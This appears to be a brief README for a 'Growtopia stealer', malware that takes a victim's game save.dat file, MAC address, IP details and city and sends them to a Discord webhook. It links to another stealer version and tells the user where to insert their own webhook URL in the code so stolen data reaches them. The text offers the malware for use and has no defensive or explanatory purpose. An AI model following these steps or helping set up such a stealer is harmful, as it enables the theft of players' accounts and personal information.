This is Growtopia stealer save.dat file, Discord Webhook sends a file, mac address, IP info, city, and more...
Other Version Stealer: https://github.com/TheC0mpany/GrowtopiaStealer
in the file DiscordWebhook.cs on string private static string defaultWebhook = ""; insert your url webhook
Also var client = new DiscordWebhookClient(""); insert too